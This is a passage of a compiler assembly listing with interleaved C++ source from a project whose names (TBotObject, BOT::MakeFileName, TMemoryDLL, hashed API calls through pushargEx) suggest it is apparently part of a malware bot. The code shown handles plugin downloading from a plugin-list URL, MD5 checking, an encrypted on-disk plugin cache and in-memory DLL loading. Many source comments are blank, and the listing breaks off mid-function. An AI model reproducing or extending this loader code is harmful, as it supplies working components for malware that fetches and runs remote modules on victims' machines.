$LN1@DownloadFi:
; 542  :         }
; 543  : 
; 544  : 		HTTPResponse::Clear(&Response);
  0014b	8d 45 bc	 lea	 eax, DWORD PTR _Response$91450[ebp]
  0014e	50		 push	 eax
  0014f	e8 00 00 00 00	 call	 ?Clear@HTTPResponse@@YAXPAUTHTTPResponseRec@@@Z ; HTTPResponse::Clear
; 545  : 	}
; 546  : 	while (Module == NULL);
  00154	83 7d f0 00	 cmp	 DWORD PTR _Module$[ebp], 0
  00158	59		 pop	 ecx
  00159	0f 84 c9 fe ff
	ff		 je	 $LL42@DownloadFi
$LN16@DownloadFi:
; 547  : 
; 548  :     return Module;
  0015f	8b 45 f0	 mov	 eax, DWORD PTR _Module$[ebp]
  00162	5f		 pop	 edi
  00163	5e		 pop	 esi
  00164	5b		 pop	 ebx
; 549  : }
  00165	c9		 leave
  00166	c3		 ret	 0
?DownloadFile@Plugin@@YAPAEPAD0PAKPAPAD@Z ENDP		; Plugin::DownloadFile
_TEXT	ENDS
PUBLIC	??1?$TString@D@@UAE@XZ				; TString<char>::~TString<char>
; Function compile flags: /Ogspy
; File e:\projects\progs\petrosjan\bjwj\source\core\strimplementation.cpp
;	COMDAT ??1?$TString@D@@UAE@XZ
_TEXT	SEGMENT
??1?$TString@D@@UAE@XZ PROC				; TString<char>::~TString<char>, COMDAT
; _this$ = ecx
; 676  : {
  00000	56		 push	 esi
  00001	8b f1		 mov	 esi, ecx
; 677  : 	STRBUF::Release<TChar>(Data);
  00003	8d 46 04	 lea	 eax, DWORD PTR [esi+4]
  00006	50		 push	 eax
  00007	c7 06 00 00 00
	00		 mov	 DWORD PTR [esi], OFFSET ??_7?$TString@D@@6B@
  0000d	e8 00 00 00 00	 call	 ??$Release@D@STRBUF@@YAXAAPAD@Z ; STRBUF::Release<char>
  00012	59		 pop	 ecx
; 678  : }
  00013	c7 06 00 00 00
	00		 mov	 DWORD PTR [esi], OFFSET ??_7TBotObject@@6B@
  00019	5e		 pop	 esi
  0001a	c3		 ret	 0
??1?$TString@D@@UAE@XZ ENDP				; TString<char>::~TString<char>
_TEXT	ENDS
PUBLIC	??4?$TString@D@@QAEAAV0@PBD@Z			; TString<char>::operator=
; Function compile flags: /Ogspy
;	COMDAT ??4?$TString@D@@QAEAAV0@PBD@Z
_TEXT	SEGMENT
_Source$ = 8						; size = 4
??4?$TString@D@@QAEAAV0@PBD@Z PROC			; TString<char>::operator=, COMDAT
; _this$ = ecx
; 914  : {
  00000	56		 push	 esi
  00001	57		 push	 edi
  00002	8b f9		 mov	 edi, ecx
; 915  : 	STRBUF::Release<TChar>(Data);
  00004	8d 77 04	 lea	 esi, DWORD PTR [edi+4]
  00007	56		 push	 esi
  00008	e8 00 00 00 00	 call	 ??$Release@D@STRBUF@@YAXAAPAD@Z ; STRBUF::Release<char>
; 916  : 	Data = STRBUF::CreateFromStr<TChar>(Source, 0, 0);
  0000d	6a 00		 push	 0
  0000f	6a 00		 push	 0
  00011	ff 74 24 18	 push	 DWORD PTR _Source$[esp+16]
  00015	e8 00 00 00 00	 call	 ??$CreateFromStr@D@STRBUF@@YAPADPBDKK@Z ; STRBUF::CreateFromStr<char>
  0001a	83 c4 10	 add	 esp, 16			; 00000010H
  0001d	89 06		 mov	 DWORD PTR [esi], eax
; 917  : 	return *this;
  0001f	8b c7		 mov	 eax, edi
  00021	5f		 pop	 edi
  00022	5e		 pop	 esi
; 918  : }
  00023	c2 04 00	 ret	 4
??4?$TString@D@@QAEAAV0@PBD@Z ENDP			; TString<char>::operator=
_TEXT	ENDS
PUBLIC	??4?$TString@D@@QAEAAV0@ABV0@@Z			; TString<char>::operator=
; Function compile flags: /Ogspy
;	COMDAT ??4?$TString@D@@QAEAAV0@ABV0@@Z
_TEXT	SEGMENT
_Source$ = 8						; size = 4
??4?$TString@D@@QAEAAV0@ABV0@@Z PROC			; TString<char>::operator=, COMDAT
; _this$ = ecx
; 904  : {
  00000	53		 push	 ebx
  00001	56		 push	 esi
  00002	8b d9		 mov	 ebx, ecx
; 905  : 	if (Data != Source.Data)
  00004	8d 73 04	 lea	 esi, DWORD PTR [ebx+4]
  00007	8b 06		 mov	 eax, DWORD PTR [esi]
  00009	57		 push	 edi
  0000a	8b 7c 24 10	 mov	 edi, DWORD PTR _Source$[esp+8]
  0000e	3b 47 04	 cmp	 eax, DWORD PTR [edi+4]
  00011	74 12		 je	 SHORT $LN1@operator
; 906  : 	{
; 907  : 		STRBUF::Release<TChar>(Data);
  00013	56		 push	 esi
  00014	e8 00 00 00 00	 call	 ??$Release@D@STRBUF@@YAXAAPAD@Z ; STRBUF::Release<char>
; 908  : 		Data = STRBUF::AddRef<TChar>(Source.Data);
  00019	ff 77 04	 push	 DWORD PTR [edi+4]
  0001c	e8 00 00 00 00	 call	 ??$AddRef@D@STRBUF@@YAPADPAD@Z ; STRBUF::AddRef<char>
  00021	59		 pop	 ecx
  00022	59		 pop	 ecx
  00023	89 06		 mov	 DWORD PTR [esi], eax
$LN1@operator:
  00025	5f		 pop	 edi
  00026	5e		 pop	 esi
; 909  :     }
; 910  : 	return *this;
  00027	8b c3		 mov	 eax, ebx
  00029	5b		 pop	 ebx
; 911  : }
  0002a	c2 04 00	 ret	 4
??4?$TString@D@@QAEAAV0@ABV0@@Z ENDP			; TString<char>::operator=
_TEXT	ENDS
PUBLIC	?Equal@?$STRUTILS@D@@SA_NPBD0@Z			; STRUTILS<char>::Equal
; Function compile flags: /Ogspy
;	COMDAT ?Equal@?$STRUTILS@D@@SA_NPBD0@Z
_TEXT	SEGMENT
_Str1$ = 8						; size = 4
_Str2$ = 12						; size = 4
?Equal@?$STRUTILS@D@@SA_NPBD0@Z PROC			; STRUTILS<char>::Equal, COMDAT
; 62   : {
  00000	56		 push	 esi
; 63   : 	// 
; 64   : 	if (Str1 == Str2 || (IsEmpty(Str1) && IsEmpty(Str2)))
  00001	8b 74 24 08	 mov	 esi, DWORD PTR _Str1$[esp]
  00005	3b 74 24 0c	 cmp	 esi, DWORD PTR _Str2$[esp]
  00009	74 2f		 je	 SHORT $LN2@Equal
  0000b	56		 push	 esi
  0000c	e8 00 00 00 00	 call	 ?IsEmpty@?$STRUTILS@D@@SA_NPBD@Z ; STRUTILS<char>::IsEmpty
  00011	59		 pop	 ecx
  00012	84 c0		 test	 al, al
  00014	74 0e		 je	 SHORT $LN3@Equal
  00016	ff 74 24 0c	 push	 DWORD PTR _Str2$[esp]
  0001a	e8 00 00 00 00	 call	 ?IsEmpty@?$STRUTILS@D@@SA_NPBD@Z ; STRUTILS<char>::IsEmpty
  0001f	59		 pop	 ecx
  00020	84 c0		 test	 al, al
  00022	75 16		 jne	 SHORT $LN2@Equal
$LN3@Equal:
; 66   : 	else
; 67   :     	return Compare(Str1, Str2) == 0;
  00024	6a 00		 push	 0
  00026	ff 74 24 10	 push	 DWORD PTR _Str2$[esp+4]
  0002a	56		 push	 esi
  0002b	e8 00 00 00 00	 call	 ?CompareEx@?$STRUTILS@D@@SAHPBD0K@Z ; STRUTILS<char>::CompareEx
  00030	83 c4 0c	 add	 esp, 12			; 0000000cH
  00033	f7 d8		 neg	 eax
  00035	1b c0		 sbb	 eax, eax
  00037	40		 inc	 eax
  00038	5e		 pop	 esi
; 68   : }
  00039	c3		 ret	 0
$LN2@Equal:
; 65   : 		return true;
  0003a	b0 01		 mov	 al, 1
  0003c	5e		 pop	 esi
; 68   : }
  0003d	c3		 ret	 0
?Equal@?$STRUTILS@D@@SA_NPBD0@Z ENDP			; STRUTILS<char>::Equal
_TEXT	ENDS
PUBLIC	?GetPluginCacheFileName@@YA?AV?$TString@D@@PAD@Z ; GetPluginCacheFileName
EXTRN	?MakeFileName@BOT@@YA?AV?$TString@D@@PBD0@Z:PROC ; BOT::MakeFileName
; Function compile flags: /Ogspy
; File e:\projects\progs\petrosjan\bjwj\source\core\plugins.cpp
;	COMDAT ?GetPluginCacheFileName@@YA?AV?$TString@D@@PAD@Z
_TEXT	SEGMENT
___$ReturnUdt$ = 8					; size = 4
_PluginName$ = 12					; size = 4
?GetPluginCacheFileName@@YA?AV?$TString@D@@PAD@Z PROC	; GetPluginCacheFileName, COMDAT
; 262  : 	return BOT::MakeFileName(PluginsCacheFolder, PluginName);
  00000	ff 74 24 08	 push	 DWORD PTR _PluginName$[esp-4]
  00004	ff 35 00 00 00
	00		 push	 DWORD PTR _PluginsCacheFolder
  0000a	ff 74 24 0c	 push	 DWORD PTR ___$ReturnUdt$[esp+4]
  0000e	e8 00 00 00 00	 call	 ?MakeFileName@BOT@@YA?AV?$TString@D@@PBD0@Z ; BOT::MakeFileName
  00013	8b 44 24 10	 mov	 eax, DWORD PTR ___$ReturnUdt$[esp+8]
  00017	83 c4 0c	 add	 esp, 12			; 0000000cH
; 263  : }
  0001a	c3		 ret	 0
?GetPluginCacheFileName@@YA?AV?$TString@D@@PAD@Z ENDP	; GetPluginCacheFileName
_TEXT	ENDS
PUBLIC	?SaveToCache@Plugin@@YA_NPADPAXK@Z		; Plugin::SaveToCache
EXTRN	?WriteFromBuffer@CryptFile@@YA_NPADPAXK@Z:PROC	; CryptFile::WriteFromBuffer
; Function compile flags: /Ogspy
;	COMDAT ?SaveToCache@Plugin@@YA_NPADPAXK@Z
_TEXT	SEGMENT
_FN$91552 = -8						; size = 8
_PluginName$ = 8					; size = 4
_Data$ = 12						; size = 4
_DataSize$ = 16						; size = 4
?SaveToCache@Plugin@@YA_NPADPAXK@Z PROC			; Plugin::SaveToCache, COMDAT
; 702  : {
  00000	55		 push	 ebp
  00001	8b ec		 mov	 ebp, esp
  00003	51		 push	 ecx
  00004	51		 push	 ecx
  00005	53		 push	 ebx
; 703  : 	bool Result = false;
  00006	33 db		 xor	 ebx, ebx
; 704  : 	if (Data && DataSize && !STRA::IsEmpty(PluginName))
  00008	39 5d 0c	 cmp	 DWORD PTR _Data$[ebp], ebx
  0000b	74 45		 je	 SHORT $LN1@SaveToCach
  0000d	39 5d 10	 cmp	 DWORD PTR _DataSize$[ebp], ebx
  00010	74 40		 je	 SHORT $LN1@SaveToCach
  00012	ff 75 08	 push	 DWORD PTR _PluginName$[ebp]
  00015	e8 00 00 00 00	 call	 ?IsEmpty@?$STRUTILS@D@@SA_NPBD@Z ; STRUTILS<char>::IsEmpty
  0001a	59		 pop	 ecx
  0001b	84 c0		 test	 al, al
  0001d	75 33		 jne	 SHORT $LN1@SaveToCach
; 705  : 	{
; 706  : 		string FN = GetPluginCacheFileName(PluginName);
  0001f	ff 75 08	 push	 DWORD PTR _PluginName$[ebp]
  00022	8d 45 f8	 lea	 eax, DWORD PTR _FN$91552[ebp]
  00025	50		 push	 eax
  00026	e8 00 00 00 00	 call	 ?GetPluginCacheFileName@@YA?AV?$TString@D@@PAD@Z ; GetPluginCacheFileName
; 707  : 		Result = CryptFile::WriteFromBuffer(FN.t_str(), Data, DataSize);
  0002b	8b 45 fc	 mov	 eax, DWORD PTR _FN$91552[ebp+4]
  0002e	59		 pop	 ecx
  0002f	59		 pop	 ecx
  00030	3b c3		 cmp	 eax, ebx
  00032	75 05		 jne	 SHORT $LN7@SaveToCach
  00034	b8 00 00 00 00	 mov	 eax, OFFSET ??_C@_11LOCGONAA@?$AA?$AA@
$LN7@SaveToCach:
  00039	ff 75 10	 push	 DWORD PTR _DataSize$[ebp]
  0003c	ff 75 0c	 push	 DWORD PTR _Data$[ebp]
  0003f	50		 push	 eax
  00040	e8 00 00 00 00	 call	 ?WriteFromBuffer@CryptFile@@YA_NPADPAXK@Z ; CryptFile::WriteFromBuffer
  00045	83 c4 0c	 add	 esp, 12			; 0000000cH
; 708  :     }
  00048	8d 4d f8	 lea	 ecx, DWORD PTR _FN$91552[ebp]
  0004b	8a d8		 mov	 bl, al
  0004d	e8 00 00 00 00	 call	 ??1?$TString@D@@UAE@XZ	; TString<char>::~TString<char>
$LN1@SaveToCach:
; 709  : 	return Result;
  00052	8a c3		 mov	 al, bl
  00054	5b		 pop	 ebx
; 710  : }
  00055	c9		 leave
  00056	c3		 ret	 0
?SaveToCache@Plugin@@YA_NPADPAXK@Z ENDP			; Plugin::SaveToCache
_TEXT	ENDS
PUBLIC	?LoadFromCache@Plugin@@YAPAEPADPAK@Z		; Plugin::LoadFromCache
EXTRN	?ReadToBuffer@CryptFile@@YAPAXPADPAK@Z:PROC	; CryptFile::ReadToBuffer
; Function compile flags: /Ogspy
;	COMDAT ?LoadFromCache@Plugin@@YAPAEPADPAK@Z
_TEXT	SEGMENT
_FN$91560 = -8						; size = 8
_PluginName$ = 8					; size = 4
_PluginSize$ = 12					; size = 4
?LoadFromCache@Plugin@@YAPAEPADPAK@Z PROC		; Plugin::LoadFromCache, COMDAT
; 719  : {
  00000	55		 push	 ebp
  00001	8b ec		 mov	 ebp, esp
  00003	51		 push	 ecx
  00004	51		 push	 ecx
  00005	56		 push	 esi
; 720  : 	LPBYTE Result = NULL;
; 721  : 	if (!STRA::IsEmpty(PluginName))
  00006	ff 75 08	 push	 DWORD PTR _PluginName$[ebp]
  00009	33 f6		 xor	 esi, esi
  0000b	e8 00 00 00 00	 call	 ?IsEmpty@?$STRUTILS@D@@SA_NPBD@Z ; STRUTILS<char>::IsEmpty
  00010	59		 pop	 ecx
  00011	84 c0		 test	 al, al
  00013	75 2f		 jne	 SHORT $LN1@LoadFromCa
; 722  : 	{
; 723  : 		string FN = GetPluginCacheFileName(PluginName);
  00015	ff 75 08	 push	 DWORD PTR _PluginName$[ebp]
  00018	8d 45 f8	 lea	 eax, DWORD PTR _FN$91560[ebp]
  0001b	50		 push	 eax
  0001c	e8 00 00 00 00	 call	 ?GetPluginCacheFileName@@YA?AV?$TString@D@@PAD@Z ; GetPluginCacheFileName
; 724  : 		Result = (LPBYTE)CryptFile::ReadToBuffer(FN.t_str(), PluginSize);
  00021	8b 45 fc	 mov	 eax, DWORD PTR _FN$91560[ebp+4]
  00024	59		 pop	 ecx
  00025	59		 pop	 ecx
  00026	85 c0		 test	 eax, eax
  00028	75 05		 jne	 SHORT $LN7@LoadFromCa
  0002a	b8 00 00 00 00	 mov	 eax, OFFSET ??_C@_11LOCGONAA@?$AA?$AA@
$LN7@LoadFromCa:
  0002f	ff 75 0c	 push	 DWORD PTR _PluginSize$[ebp]
  00032	50		 push	 eax
  00033	e8 00 00 00 00	 call	 ?ReadToBuffer@CryptFile@@YAPAXPADPAK@Z ; CryptFile::ReadToBuffer
  00038	59		 pop	 ecx
  00039	59		 pop	 ecx
; 725  :     }
  0003a	8d 4d f8	 lea	 ecx, DWORD PTR _FN$91560[ebp]
  0003d	8b f0		 mov	 esi, eax
  0003f	e8 00 00 00 00	 call	 ??1?$TString@D@@UAE@XZ	; TString<char>::~TString<char>
$LN1@LoadFromCa:
; 726  : 	return Result;
  00044	8b c6		 mov	 eax, esi
  00046	5e		 pop	 esi
; 727  : }
  00047	c9		 leave
  00048	c3		 ret	 0
?LoadFromCache@Plugin@@YAPAEPADPAK@Z ENDP		; Plugin::LoadFromCache
_TEXT	ENDS
PUBLIC	?DeleteFromCache@Plugin@@YA_NPAD@Z		; Plugin::DeleteFromCache
; Function compile flags: /Ogspy
;	COMDAT ?DeleteFromCache@Plugin@@YA_NPAD@Z
_TEXT	SEGMENT
_FN$91568 = -8						; size = 8
_PluginName$ = 8					; size = 4
?DeleteFromCache@Plugin@@YA_NPAD@Z PROC			; Plugin::DeleteFromCache, COMDAT
; 735  : {
  00000	55		 push	 ebp
  00001	8b ec		 mov	 ebp, esp
  00003	51		 push	 ecx
  00004	51		 push	 ecx
  00005	53		 push	 ebx
; 736  : 	bool Result = false;
; 737  : 	if (!STRA::IsEmpty(PluginName))
  00006	ff 75 08	 push	 DWORD PTR _PluginName$[ebp]
  00009	32 db		 xor	 bl, bl
  0000b	e8 00 00 00 00	 call	 ?IsEmpty@?$STRUTILS@D@@SA_NPBD@Z ; STRUTILS<char>::IsEmpty
  00010	59		 pop	 ecx
  00011	84 c0		 test	 al, al
  00013	75 2e		 jne	 SHORT $LN1@DeleteFrom
; 738  : 	{
; 739  : 		string FN = GetPluginCacheFileName(PluginName);
  00015	ff 75 08	 push	 DWORD PTR _PluginName$[ebp]
  00018	8d 45 f8	 lea	 eax, DWORD PTR _FN$91568[ebp]
  0001b	50		 push	 eax
  0001c	e8 00 00 00 00	 call	 ?GetPluginCacheFileName@@YA?AV?$TString@D@@PAD@Z ; GetPluginCacheFileName
; 740  : 		Result = (BOOL)pDeleteFileA(FN.t_str());
  00021	8b 45 fc	 mov	 eax, DWORD PTR _FN$91568[ebp+4]
  00024	59		 pop	 ecx
  00025	59		 pop	 ecx
  00026	85 c0		 test	 eax, eax
  00028	75 05		 jne	 SHORT $LN7@DeleteFrom
  0002a	b8 00 00 00 00	 mov	 eax, OFFSET ??_C@_11LOCGONAA@?$AA?$AA@
$LN7@DeleteFrom:
  0002f	50		 push	 eax
  00030	e8 00 00 00 00	 call	 ??$pushargEx@$00$0IBPAPANP@$0CD@PAD@@YAPAXPAD@Z ; pushargEx<1,2180051167,35,char *>
  00035	59		 pop	 ecx
  00036	85 c0		 test	 eax, eax
; 741  :     }
  00038	8d 4d f8	 lea	 ecx, DWORD PTR _FN$91568[ebp]
  0003b	0f 95 c3	 setne	 bl
  0003e	e8 00 00 00 00	 call	 ??1?$TString@D@@UAE@XZ	; TString<char>::~TString<char>
$LN1@DeleteFrom:
; 742  : 	return Result;
  00043	8a c3		 mov	 al, bl
  00045	5b		 pop	 ebx
; 743  : }
  00046	c9		 leave
  00047	c3		 ret	 0
?DeleteFromCache@Plugin@@YA_NPAD@Z ENDP			; Plugin::DeleteFromCache
_TEXT	ENDS
PUBLIC	??_7TPlugin@@6B@				; TPlugin::`vftable'
PUBLIC	??0TPlugin@@QAE@PBD@Z				; TPlugin::TPlugin
EXTRN	??0TMemoryDLL@@QAE@PBX@Z:PROC			; TMemoryDLL::TMemoryDLL
EXTRN	??_ETPlugin@@UAEPAXI@Z:PROC			; TPlugin::`vector deleting destructor'
;	COMDAT ??_7TPlugin@@6B@
; File e:\projects\progs\petrosjan\bjwj\source\common\videorecorder.h
CONST	SEGMENT
??_7TPlugin@@6B@ DD FLAT:??_ETPlugin@@UAEPAXI@Z		; TPlugin::`vftable'
; Function compile flags: /Ogspy
; File e:\projects\progs\petrosjan\bjwj\source\core\plugins.cpp
CONST	ENDS
;	COMDAT ??0TPlugin@@QAE@PBD@Z
_TEXT	SEGMENT
_PluginName$ = 8					; size = 4
??0TPlugin@@QAE@PBD@Z PROC				; TPlugin::TPlugin, COMDAT
; _this$ = ecx
; 960  : {
  00000	56		 push	 esi
  00001	6a 00		 push	 0
  00003	8b f1		 mov	 esi, ecx
  00005	e8 00 00 00 00	 call	 ??0TMemoryDLL@@QAE@PBX@Z ; TMemoryDLL::TMemoryDLL
; 961  : 	FName = PluginName;
  0000a	ff 74 24 08	 push	 DWORD PTR _PluginName$[esp]
  0000e	8d 4e 0c	 lea	 ecx, DWORD PTR [esi+12]
  00011	c7 06 00 00 00
	00		 mov	 DWORD PTR [esi], OFFSET ??_7TPlugin@@6B@
  00017	83 61 04 00	 and	 DWORD PTR [ecx+4], 0
  0001b	c7 01 00 00 00
	00		 mov	 DWORD PTR [ecx], OFFSET ??_7?$TString@D@@6B@
  00021	e8 00 00 00 00	 call	 ??4?$TString@D@@QAEAAV0@PBD@Z ; TString<char>::operator=
; 962  : 	FData = NULL;
  00026	83 66 14 00	 and	 DWORD PTR [esi+20], 0
; 963  :     FSize = 0;
  0002a	83 66 18 00	 and	 DWORD PTR [esi+24], 0
; 964  : }
  0002e	8b c6		 mov	 eax, esi
  00030	5e		 pop	 esi
  00031	c2 04 00	 ret	 4
??0TPlugin@@QAE@PBD@Z ENDP				; TPlugin::TPlugin
_TEXT	ENDS
PUBLIC	??0TPlugin@@QAE@ABV?$TString@D@@@Z		; TPlugin::TPlugin
; Function compile flags: /Ogspy
;	COMDAT ??0TPlugin@@QAE@ABV?$TString@D@@@Z
_TEXT	SEGMENT
_PluginName$ = 8					; size = 4
??0TPlugin@@QAE@ABV?$TString@D@@@Z PROC			; TPlugin::TPlugin, COMDAT
; _this$ = ecx
; 968  : {
  00000	56		 push	 esi
  00001	6a 00		 push	 0
  00003	8b f1		 mov	 esi, ecx
  00005	e8 00 00 00 00	 call	 ??0TMemoryDLL@@QAE@PBX@Z ; TMemoryDLL::TMemoryDLL
; 969  : 	FName = PluginName;
  0000a	ff 74 24 08	 push	 DWORD PTR _PluginName$[esp]
  0000e	8d 4e 0c	 lea	 ecx, DWORD PTR [esi+12]
  00011	c7 06 00 00 00
	00		 mov	 DWORD PTR [esi], OFFSET ??_7TPlugin@@6B@
  00017	83 61 04 00	 and	 DWORD PTR [ecx+4], 0
  0001b	c7 01 00 00 00
	00		 mov	 DWORD PTR [ecx], OFFSET ??_7?$TString@D@@6B@
  00021	e8 00 00 00 00	 call	 ??4?$TString@D@@QAEAAV0@ABV0@@Z ; TString<char>::operator=
; 970  : 	FData = NULL;
  00026	83 66 14 00	 and	 DWORD PTR [esi+20], 0
; 971  :     FSize = 0;
  0002a	83 66 18 00	 and	 DWORD PTR [esi+24], 0
; 972  : }
  0002e	8b c6		 mov	 eax, esi
  00030	5e		 pop	 esi
  00031	c2 04 00	 ret	 4
??0TPlugin@@QAE@ABV?$TString@D@@@Z ENDP			; TPlugin::TPlugin
_TEXT	ENDS
PUBLIC	??1TPlugin@@UAE@XZ				; TPlugin::~TPlugin
EXTRN	??1TMemoryDLL@@UAE@XZ:PROC			; TMemoryDLL::~TMemoryDLL
; Function compile flags: /Ogspy
;	COMDAT ??1TPlugin@@UAE@XZ
_TEXT	SEGMENT
??1TPlugin@@UAE@XZ PROC					; TPlugin::~TPlugin, COMDAT
; _this$ = ecx
; 975  : {
  00000	56		 push	 esi
  00001	8b f1		 mov	 esi, ecx
; 976  : 	if (FData)
  00003	8b 46 14	 mov	 eax, DWORD PTR [esi+20]
  00006	c7 06 00 00 00
	00		 mov	 DWORD PTR [esi], OFFSET ??_7TPlugin@@6B@
  0000c	85 c0		 test	 eax, eax
  0000e	74 07		 je	 SHORT $LN1@TPlugin
; 977  : 		MemFree(FData);
  00010	50		 push	 eax
  00011	e8 00 00 00 00	 call	 ?MemFree@@YAXPAX@Z	; MemFree
  00016	59		 pop	 ecx
$LN1@TPlugin:
; 978  : }
  00017	8d 4e 0c	 lea	 ecx, DWORD PTR [esi+12]
  0001a	e8 00 00 00 00	 call	 ??1?$TString@D@@UAE@XZ	; TString<char>::~TString<char>
  0001f	8b ce		 mov	 ecx, esi
  00021	5e		 pop	 esi
  00022	e9 00 00 00 00	 jmp	 ??1TMemoryDLL@@UAE@XZ	; TMemoryDLL::~TMemoryDLL
??1TPlugin@@UAE@XZ ENDP					; TPlugin::~TPlugin
; Function compile flags: /Ogspy
_TEXT	ENDS
;	COMDAT ??_G?$TString@D@@UAEPAXI@Z
_TEXT	SEGMENT
___flags$ = 8						; size = 4
??_G?$TString@D@@UAEPAXI@Z PROC				; TString<char>::`scalar deleting destructor', COMDAT
; _this$ = ecx
  00000	56		 push	 esi
  00001	8b f1		 mov	 esi, ecx
  00003	e8 00 00 00 00	 call	 ??1?$TString@D@@UAE@XZ	; TString<char>::~TString<char>
  00008	f6 44 24 08 01	 test	 BYTE PTR ___flags$[esp], 1
  0000d	74 07		 je	 SHORT $LN1@scalar@2
  0000f	56		 push	 esi
  00010	e8 00 00 00 00	 call	 ??3TBotObject@@SAXPAX@Z	; TBotObject::operator delete
  00015	59		 pop	 ecx
$LN1@scalar@2:
  00016	8b c6		 mov	 eax, esi
  00018	5e		 pop	 esi
  00019	c2 04 00	 ret	 4
??_G?$TString@D@@UAEPAXI@Z ENDP				; TString<char>::`scalar deleting destructor'
_TEXT	ENDS
PUBLIC	??8?$TString@D@@QAE_NPBD@Z			; TString<char>::operator==
; Function compile flags: /Ogspy
; File e:\projects\progs\petrosjan\bjwj\source\core\strimplementation.cpp
;	COMDAT ??8?$TString@D@@QAE_NPBD@Z
_TEXT	SEGMENT
_Str$ = 8						; size = 4
??8?$TString@D@@QAE_NPBD@Z PROC				; TString<char>::operator==, COMDAT
; _this$ = ecx
; 955  : 	return STRUTILS<TChar>::Equal(Data, Str);
  00000	ff 74 24 04	 push	 DWORD PTR _Str$[esp-4]
  00004	ff 71 04	 push	 DWORD PTR [ecx+4]
  00007	e8 00 00 00 00	 call	 ?Equal@?$STRUTILS@D@@SA_NPBD0@Z ; STRUTILS<char>::Equal
  0000c	59		 pop	 ecx
  0000d	59		 pop	 ecx
; 956  : }
  0000e	c2 04 00	 ret	 4
??8?$TString@D@@QAE_NPBD@Z ENDP				; TString<char>::operator==
_TEXT	ENDS
PUBLIC	?DownloadEx@Plugin@@YAPAEPAD0PAK_N20@Z		; Plugin::DownloadEx
EXTRN	?MD5StrFromBuf@@YA?AV?$TString@D@@PAXK@Z:PROC	; MD5StrFromBuf
; Function compile flags: /Ogspy
; File e:\projects\progs\petrosjan\bjwj\source\core\plugins.cpp
;	COMDAT ?DownloadEx@Plugin@@YAPAEPAD0PAK_N20@Z
_TEXT	SEGMENT
_CalculatedMd5$91530 = -20				; size = 8
_ReceivedMd5$91524 = -12				; size = 4
_BufSize$91522 = -8					; size = 4
_Downloaded$91526 = -1					; size = 1
_PluginName$ = 8					; size = 4
_PluginListURL$ = 12					; size = 4
_Size$ = 16						; size = 4
_IsExecutable$ = 20					; size = 1
_UseCache$ = 24						; size = 1
_CachePath$ = 28					; size = 4
?DownloadEx@Plugin@@YAPAEPAD0PAK_N20@Z PROC		; Plugin::DownloadEx, COMDAT
; 604  : {
  00000	55		 push	 ebp
  00001	8b ec		 mov	 ebp, esp
; 605  : 	if (Size) *Size = 0;
  00003	8b 45 10	 mov	 eax, DWORD PTR _Size$[ebp]
  00006	83 ec 14	 sub	 esp, 20			; 00000014H
  00009	85 c0		 test	 eax, eax
  0000b	74 03		 je	 SHORT $LN17@DownloadEx@2
  0000d	83 20 00	 and	 DWORD PTR [eax], 0
$LN17@DownloadEx@2:
; 606  : 
; 607  : 	if (STRA::IsEmpty(PluginName)) return NULL;
  00010	ff 75 08	 push	 DWORD PTR _PluginName$[ebp]
  00013	e8 00 00 00 00	 call	 ?IsEmpty@?$STRUTILS@D@@SA_NPBD@Z ; STRUTILS<char>::IsEmpty
  00018	59		 pop	 ecx
  00019	84 c0		 test	 al, al
  0001b	74 04		 je	 SHORT $LN32@DownloadEx@2
  0001d	33 c0		 xor	 eax, eax
; 690  : 	}
; 691  : 
; 692  : 	return NULL;
; 693  : }
  0001f	c9		 leave
  00020	c3		 ret	 0
$LN32@DownloadEx@2:
  00021	53		 push	 ebx
  00022	56		 push	 esi
  00023	57		 push	 edi
$LL15@DownloadEx@2:
; 608  : 
; 609  : 	// 
; 610  : 	// 
; 611  : 	while (true)
; 612  : 	{
; 613  : 		DWORD  BufSize = 0;
  00024	33 db		 xor	 ebx, ebx
; 614  : 		LPBYTE Buffer = NULL;
  00026	33 f6		 xor	 esi, esi
; 615  : 		PCHAR  ReceivedMd5 = NULL;
; 616  : 
; 617  : 		// 
; 618  : 		if (UseCache)
  00028	80 7d 18 00	 cmp	 BYTE PTR _UseCache$[ebp], 0
  0002c	89 5d f8	 mov	 DWORD PTR _BufSize$91522[ebp], ebx
  0002f	89 5d f4	 mov	 DWORD PTR _ReceivedMd5$91524[ebp], ebx
  00032	74 10		 je	 SHORT $LN30@DownloadEx@2
; 619  : 		{
; 620  : 			Buffer = LoadFromCache(PluginName, &BufSize);
  00034	8d 45 f8	 lea	 eax, DWORD PTR _BufSize$91522[ebp]
  00037	50		 push	 eax
  00038	ff 75 08	 push	 DWORD PTR _PluginName$[ebp]
  0003b	e8 00 00 00 00	 call	 ?LoadFromCache@Plugin@@YAPAEPADPAK@Z ; Plugin::LoadFromCache
  00040	59		 pop	 ecx
  00041	59		 pop	 ecx
  00042	8b f0		 mov	 esi, eax
$LN30@DownloadEx@2:
; 621  : 		}
; 622  : 
; 623  : 		// 
; 624  : 		// 1) 
; 625  : 		// 2) 
; 626  : 		bool Downloaded = false;
  00044	c6 45 ff 00	 mov	 BYTE PTR _Downloaded$91526[ebp], 0
; 627  : 		if (Buffer == NULL)
  00048	3b f3		 cmp	 esi, ebx
  0004a	75 24		 jne	 SHORT $LN26@DownloadEx@2
; 628  : 		{
; 629  : 			Buffer = DownloadFile(PluginName, PluginListURL, &BufSize, &ReceivedMd5);
  0004c	8d 45 f4	 lea	 eax, DWORD PTR _ReceivedMd5$91524[ebp]
  0004f	50		 push	 eax
  00050	8d 45 f8	 lea	 eax, DWORD PTR _BufSize$91522[ebp]
  00053	50		 push	 eax
  00054	ff 75 0c	 push	 DWORD PTR _PluginListURL$[ebp]
  00057	ff 75 08	 push	 DWORD PTR _PluginName$[ebp]
  0005a	e8 00 00 00 00	 call	 ?DownloadFile@Plugin@@YAPAEPAD0PAKPAPAD@Z ; Plugin::DownloadFile
  0005f	8b f0		 mov	 esi, eax
  00061	83 c4 10	 add	 esp, 16			; 00000010H
; 630  : 			Downloaded = true;
  00064	c6 45 ff 01	 mov	 BYTE PTR _Downloaded$91526[ebp], 1
; 631  : 		}
; 632  : 
; 633  : 		if (Buffer == NULL)
  00068	3b f3		 cmp	 esi, ebx
  0006a	0f 84 89 00 00
	00		 je	 $LN25@DownloadEx@2
$LN26@DownloadEx@2:
; 637  : 		}
; 638  : 
; 639  : 
; 640  : 		// 2. 
; 641  : 		// 
; 642  : 		// 
 "IsExecutable" 
; 643  : 		// 
; 644  : 
; 645  : 		string CalculatedMd5 = MD5StrFromBuf(Buffer, BufSize);
  00070	ff 75 f8	 push	 DWORD PTR _BufSize$91522[ebp]
